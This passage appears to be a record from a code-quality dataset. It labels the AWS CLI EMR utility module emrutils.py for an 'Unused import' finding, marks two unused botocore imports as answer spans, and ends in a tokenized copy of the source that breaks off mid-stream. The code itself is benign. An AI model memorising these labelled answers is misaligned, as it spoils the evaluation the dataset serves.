"Colors_", ",_", "'", "blend", "Shape", "Index", "Map", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mesh", "Fn_", "._", "assign", "Colors_", "(_", "vertex", "List_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
aws/aws-cli/awscli/customizations/emr/emrutils.py
[ { "content": "# Copyright 2014 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"). You\n# may not use this file except in compliance with the License. A copy of\n# the License is located at\n#\n# http://aws.amazon.com/apache2.0/\n#\n# or in the \"license\" file accompanying this file. This file is\n# distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF\n# ANY KIND, either express or implied. See the License for the specific\n# language governing permissions and limitations under the License.\n\nimport json\nimport logging\nimport os\n\n\nfrom awscli.clidriver import CLIOperationCaller\nfrom awscli.customizations.emr import constants\nfrom awscli.customizations.emr import exceptions\nfrom botocore.exceptions import WaiterError, NoCredentialsError\nfrom botocore import xform_name\n\nLOG = logging.getLogger(__name__)\n\n\n\n\n\n\n\n\n# Deprecate. Rename to apply_dict\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def parse_tags(raw_tags_list):\n tags_dict_list = []\n if raw_tags_list:\n for tag in raw_tags_list:\n if tag.find('=') == -1:\n key, value = tag, ''\n else:\n key, value = tag.split('=', 1)\n tags_dict_list.append({'Key': key, 'Value': value})\n\n return tags_dict_list", "metadata": "root.parse_tags", "header": "['module', '___EOS___']", "index": 27 }, { "content": "def parse_key_value_string(key_value_string):\n # raw_key_value_string is a list of key value pairs separated by comma.\n # Examples: \"k1=v1,k2='v 2',k3,k4\"\n key_value_list = []\n if key_value_string is not None:\n raw_key_value_list = key_value_string.split(',')\n for kv in raw_key_value_list:\n if kv.find('=') == -1:\n key, value = kv, ''\n else:\n key, value = kv.split('=', 1)\n key_value_list.append({'Key': key, 'Value': value})\n return key_value_list\n else:\n return None", "metadata": "root.parse_key_value_string", "header": "['module', '___EOS___']", "index": 40 }, { "content": "def apply_boolean_options(\n true_option, true_option_name, false_option, false_option_name):\n if true_option and false_option:\n error_message = \\\n 'aws: error: cannot use both ' + true_option_name + \\\n ' and ' + false_option_name + ' options together.'\n raise ValueError(error_message)\n elif true_option:\n return True\n else:\n return False", "metadata": "root.apply_boolean_options", "header": "['module', '___EOS___']", "index": 57 }, { "content": "def apply(params, key, value):\n if value:\n params[key] = value\n\n return params", "metadata": "root.apply", "header": "['module', '___EOS___']", "index": 71 }, { "content": "def apply_dict(params, key, value):\n if value:\n params[key] = value\n\n return params", "metadata": "root.apply_dict", "header": "['module', '___EOS___']", "index": 78 }, { "content": "def apply_params(src_params, src_key, dest_params, dest_key):\n if src_key in src_params.keys() and src_params[src_key]:\n dest_params[dest_key] = src_params[src_key]\n\n return dest_params", "metadata": "root.apply_params", "header": "['module', '___EOS___']", "index": 85 }, { "content": "def build_step(\n jar, name='Step',\n action_on_failure=constants.DEFAULT_FAILURE_ACTION,\n args=None,\n main_class=None,\n properties=None):\n check_required_field(\n structure='HadoopJarStep', name='Jar', value=jar)\n\n step = {}\n apply_dict(step, 'Name', name)\n apply_dict(step, 'ActionOnFailure', action_on_failure)\n jar_config = {}\n jar_config['Jar'] = jar\n apply_dict(jar_config, 'Args', args)\n apply_dict(jar_config, 'MainClass', main_class)\n apply_dict(jar_config, 'Properties', properties)\n step['HadoopJarStep'] = jar_config\n\n return step", "metadata": "root.build_step", "header": "['module', '___EOS___']", "index": 92 }, { "content": "def build_bootstrap_action(\n path,\n name='Bootstrap Action',\n args=None):\n if path is None:\n raise exceptions.MissingParametersError(\n object_name='ScriptBootstrapActionConfig', missing='Path')\n ba_config = {}\n apply_dict(ba_config, 'Name', name)\n script_config = {}\n apply_dict(script_config, 'Args', args)\n script_config['Path'] = path\n apply_dict(ba_config, 'ScriptBootstrapAction', script_config)\n\n return ba_config", "metadata": "root.build_bootstrap_action", "header": "['module', '___EOS___']", "index": 114 }, { "content": "def build_s3_link(relative_path='', region='us-east-1'):\n if region is None:\n region = 'us-east-1'\n return 's3://{0}.elasticmapreduce{1}'.format(region, relative_path)", "metadata": "root.build_s3_link", "header": "['module', '___EOS___']", "index": 131 }, { "content": "def get_script_runner(region='us-east-1'):\n if region is None:\n region = 'us-east-1'\n return build_s3_link(\n relative_path=constants.SCRIPT_RUNNER_PATH, region=region)", "metadata": "root.get_script_runner", "header": "['module', '___EOS___']", "index": 137 }, { "content": "def check_required_field(structure, name, value):\n if not value:\n raise exceptions.MissingParametersError(\n object_name=structure, missing=name)", "metadata": "root.check_required_field", "header": "['module', '___EOS___']", "index": 144 }, { "content": "def check_empty_string_list(name, value):\n if not value or (len(value) == 1 and value[0].strip() == \"\"):\n raise exceptions.EmptyListError(param=name)", "metadata": "root.check_empty_string_list", "header": "['module', '___EOS___']", "index": 150 }, { "content": "def call(session, operation_name, parameters, region_name=None,\n endpoint_url=None, verify=None):\n # We could get an error from get_endpoint() about not having\n # a region configured. Before this happens we want to check\n # for credentials so we can give a good error message.\n if session.get_credentials() is None:\n raise NoCredentialsError()\n\n client = session.create_client(\n 'emr', region_name=region_name, endpoint_url=endpoint_url,\n verify=verify)\n LOG.debug('Calling ' + str(operation_name))\n return getattr(client, operation_name)(**parameters)", "metadata": "root.call", "header": "['module', '___EOS___']", "index": 155 }, { "content": "def get_example_file(command):\n return open('awscli/examples/emr/' + command + '.rst')", "metadata": "root.get_example_file", "header": "['module', '___EOS___']", "index": 170 }, { "content": "def dict_to_string(dict, indent=2):\n return json.dumps(dict, indent=indent)", "metadata": "root.dict_to_string", "header": "['module', '___EOS___']", "index": 174 }, { "content": "def get_client(session, parsed_globals):\n return session.create_client(\n 'emr',\n region_name=get_region(session, parsed_globals),\n endpoint_url=parsed_globals.endpoint_url,\n verify=parsed_globals.verify_ssl)", "metadata": "root.get_client", "header": "['module', '___EOS___']", "index": 178 }, { "content": "def get_cluster_state(session, parsed_globals, cluster_id):\n client = get_client(session, parsed_globals)\n data = client.describe_cluster(ClusterId=cluster_id)\n return data['Cluster']['Status']['State']", "metadata": "root.get_cluster_state", "header": "['module', '___EOS___']", "index": 186 }, { "content": "def find_master_dns(session, parsed_globals, cluster_id):\n \"\"\"\n Returns the master_instance's 'PublicDnsName'.\n \"\"\"\n client = get_client(session, parsed_globals)\n data = client.describe_cluster(ClusterId=cluster_id)\n return data['Cluster']['MasterPublicDnsName']", "metadata": "root.find_master_dns", "header": "['module', '___EOS___']", "index": 192 }, { "content": "def which(program):\n for path in os.environ[\"PATH\"].split(os.pathsep):\n path = path.strip('\"')\n exe_file = os.path.join(path, program)\n if os.path.isfile(exe_file) and os.access(exe_file, os.X_OK):\n return exe_file\n\n return None", "metadata": "root.which", "header": "['module', '___EOS___']", "index": 201 }, { "content": "def call_and_display_response(session, operation_name, parameters,\n parsed_globals):\n cli_operation_caller = CLIOperationCaller(session)\n cli_operation_caller.invoke(\n 'emr', operation_name,\n parameters, parsed_globals)", "metadata": "root.call_and_display_response", "header": "['module', '___EOS___']", "index": 211 }, { "content": "def display_response(session, operation_name, result, parsed_globals):\n cli_operation_caller = CLIOperationCaller(session)\n # Calling a private method. Should be changed after the functionality\n # is moved outside CliOperationCaller.\n cli_operation_caller._display_response(\n operation_name, result, parsed_globals)", "metadata": "root.display_response", "header": "['module', '___EOS___']", "index": 219 }, { "content": "def get_region(session, parsed_globals):\n region = parsed_globals.region\n if region is None:\n region = session.get_config_variable('region')\n return region", "metadata": "root.get_region", "header": "['module', '___EOS___']", "index": 227 }, { "content": "def join(values, separator=',', lastSeparator='and'):\n \"\"\"\n Helper method to print a list of values\n [1,2,3] -> '1, 2 and 3'\n \"\"\"\n values = [str(x) for x in values]\n if len(values) < 1:\n return \"\"\n elif len(values) is 1:\n return values[0]\n else:\n separator = '%s ' % separator\n return ' '.join([separator.join(values[:-1]),\n lastSeparator, values[-1]])", "metadata": "root.join", "header": "['module', '___EOS___']", "index": 234 }, { "content": "def split_to_key_value(string):\n if string.find('=') == -1:\n return string, ''\n else:\n return string.split('=', 1)", "metadata": "root.split_to_key_value", "header": "['module', '___EOS___']", "index": 250 }, { "content": "def get_cluster(cluster_id, session, region,\n endpoint_url, verify_ssl):\n describe_cluster_params = {'ClusterId': cluster_id}\n describe_cluster_response = call(\n session, 'describe_cluster', describe_cluster_params,\n region, endpoint_url,\n verify_ssl)\n\n if describe_cluster_response is not None:\n return describe_cluster_response.get('Cluster')", "metadata": "root.get_cluster", "header": "['module', '___EOS___']", "index": 257 }, { "content": "def get_release_label(cluster_id, session, region,\n endpoint_url, verify_ssl):\n cluster = get_cluster(cluster_id, session, region,\n endpoint_url, verify_ssl)\n if cluster is not None:\n return cluster.get('ReleaseLabel')", "metadata": "root.get_release_label", "header": "['module', '___EOS___']", "index": 269 } ]
[ { "span": "from botocore.exceptions import WaiterError, NoCredentialsError", "start_line": 21, "start_column": 0, "end_line": 21, "end_column": 63 }, { "span": "from botocore import xform_name", "start_line": 22, "start_column": 0, "end_line": 22, "end_column": 31 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "Copy", "right", " ", "2014", " ", "Ama", "zon", ".", "com", ",", " ", "Inc", ".", " ", "or", " ", "its", " ", "affi", "liat", "es", ".", " ", "All", " ", "Rig", "hts", " ", "Reserve", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "License", "d", " ", "under", " ", "the", " ", "Ap", "ache", " ", "License", ",", " ", "Version", " ", "2.0", " ", "(", "the", " ", "\"", "License", "\")", ".", " ", "You", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "may", " ", "not", " ", "use", " ", "this", " ", "file", " ", "except", " ", "in", " ", "compli", "anc", "e", " ", "with", " ", "the", " ", "License", ".", " ", "A", " ", "copy", " ", "of_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "License", " ", "is", " ", "located", " ", "at_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "http", "://", "aws", ".", "amaz", "on", ".", "com", "/", "apa", "che", "2.0", "/_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "or", " ", "in", " ", "the", " ", "\"", "license", "\"", " ", "file", " ", "accom", "pan", "ying", " ", "this", " ", "file", ".", " ", "Thi", "s", " ", "file", " ", "is_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "distributed", " ", "on", " ", "an", " ", "\"", "AS", " ", "IS", "\"", " ", "BAS", "IS", ",", " ", "WITH", "OUT", " ", "WAR", "RAN", "TIES", " ", "OR", " ", "CONDITION", "S", " ", "OF_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "ANY", " ", "KIND", ",", " ", "eit", "her", " ", "express", " ", "or", " ", "impli", "ed", ".", " ", "See", " ", "the", " ", "License", " ", "for", " ", "the", " ", "specific_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "language", " ", "govern", "ing", " ", "permissi", "ons", " ", "and", " ", "limit", "ation", "s", " ", "under", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "aws", "cli_", "._", "cli", "driver_", "import_", "CLI", "Opera", "tion", "Caller", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "aws", "cli_", "._", "customization", "s_", "._", "emr", "_", "import_", "constants_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "aws", "cli_", "._", "customization", "s_", "._", "emr", "_", "import_", "exceptions_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "botocore", "_", "._", "exceptions_", "import_", "Wait", "er", "Error_", ",_", "No", "Cred", "ential", "s", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "botocore", "_", "import_", "xform", "\\u", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "LOG_", "=_", "logging_", "._", "get", "Logger_", "(_", "\\u\\u", "name\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Dep", "reca", "te", ".", " ", "Rename", " ", "to", " ", "appl", "y", "\\u", "dict_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "parse", "\\u", "tags_", "(_", "raw", "\\u", "tags", "\\u", "list_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tags", "\\u", "dict", "\\u", "list_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "raw", "\\u", "tags", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "tag_", "in_", "raw", "\\u", "tags", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "tag_", "._", "find_", "(_", "'='_", ")_", "==_", "-_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "key_", ",_", "value_", "=_", "tag_", ",_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "key_", ",_", "value_", "=_", "tag_", "._", "split_", "(_", "'='_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "tags", "\\u", "dict", "\\u", "list_", "._", "append_", "(_", "{_", "'", "Key", "'_", ":_", "key_", ",_", "'", "Value", "'_", ":_", "value_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "tags", "\\u", "dict", "\\u", "list_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse", "\\u", "key", "\\u", "value", "\\u", "string_", "(_", "key", "\\u", "value", "\\u", "string_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "raw", "\\u", "key", "\\u", "value", "\\u", "string", " ", "is", " ", "a", " ", "list", " ", "of", " ", "key", " ", "value", " ", "pair", "s", " ", "separate", "d", " ", "by", " ", "comma", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Exam", "ples", ":", " ", "\"", "k", "1", "=", "v1", ",", "k2", "='", "v", " ", " ", "2", "',", "k3", ",", "k", "4", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "key", "\\u", "value", "\\u", "list_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "key", "\\u", "value", "\\u", "string_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raw", "\\u", "key", "\\u", "value", "\\u", "list_", "=_", "key", "\\u", "value", "\\u", "string_", "._", "split_", "(_", "','_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "kv_", "in_", "raw", "\\u", "key", "\\u", "value", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "kv_", "._", "find_", "(_", "'='_", ")_", "==_", "-_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "key_", ",_", "value_", "=_", "kv_", ",_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "key_", ",_", "value_", "=_", "kv_", "._", "split_", "(_", "'='_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "key", "\\u", "value", "\\u", "list_", "._", "append_", "(_", "{_", "'", "Key", "'_", ":_", "key_", ",_", "'", "Value", "'_", ":_", "value_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "key", "\\u", "value", "\\u", "list_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "appl", "y", "\\u", "boolean", "\\u", "options_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "true", "\\u", "option_", ",_", "true", "\\u", "option", "\\u", "name_", ",_", "fal", "se", "\\u", "option_", ",_", "fal", "se", "\\u", "option", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "true", "\\u", "option_", "and_", "fal", "se", "\\u", "option_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error", "\\u", "message_", "=_", "'", "aws", ":", " ", "error", ":", " ", "cann", "ot", " ", "use", " ", "bot", "h", " ", "'_", "+_", "true", "\\u", "option", "\\u", "name_", "+_", "'", " ", "and", " ", "'_", "+_", "fal", "se", "\\u", "option", "\\u", "name_", "+_", "'", " ", "options", " ", "tog", "ether", ".'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Value", "Error_", "(_", "error", "\\u", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "true", "\\u", "option_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "apply_", "(_", "params_", ",_", "key_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "value_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "params_", "[_", "key_", "]_", "=_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "params_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "appl", "y", "\\u", "dict_", "(_", "params_", ",_", "key_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "value_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "params_", "[_", "key_", "]_", "=_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "params_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "appl", "y", "\\u", "params_", "(_", "src", "\\u", "params_", ",_", "src", "\\u", "key_", ",_", "dest", "\\u", "params_", ",_", "dest", "\\u", "key_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "src", "\\u", "key_", "in_", "src", "\\u", "params_", "._", "keys_", "(_", ")_", "and_", "src", "\\u", "params_", "[_", "src", "\\u", "key_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dest", "\\u", "params_", "[_", "dest", "\\u", "key_", "]_", "=_", "src", "\\u", "params_", "[_", "src", "\\u", "key_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "dest", "\\u", "params_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "build", "\\u", "step_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "jar_", ",_", "name_", "=_", "'", "Step", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "action", "\\u", "on", "\\u", "failure_", "=_", "constants_", "._", "DEF", "AUL", "T", "\\u", "FAIL", "URE", "\\u", "ACTION_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "args_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "main", "\\u", "class_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "properties_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "check", "\\u", "require", "d\\u", "field_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "structure_", "=_", "'", "Had", "oop", "Jar", "Step", "'_", ",_", "name_", "=_", "'", "Jar", "'_", ",_", "value_", "=_", "jar_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "step_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "appl", "y", "\\u", "dict_", "(_", "step_", ",_", "'", "Name", "'_", ",_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "appl", "y", "\\u", "dict_", "(_", "step_", ",_", "'", "Action", "On", "Fail", "ure", "'_", ",_", "action", 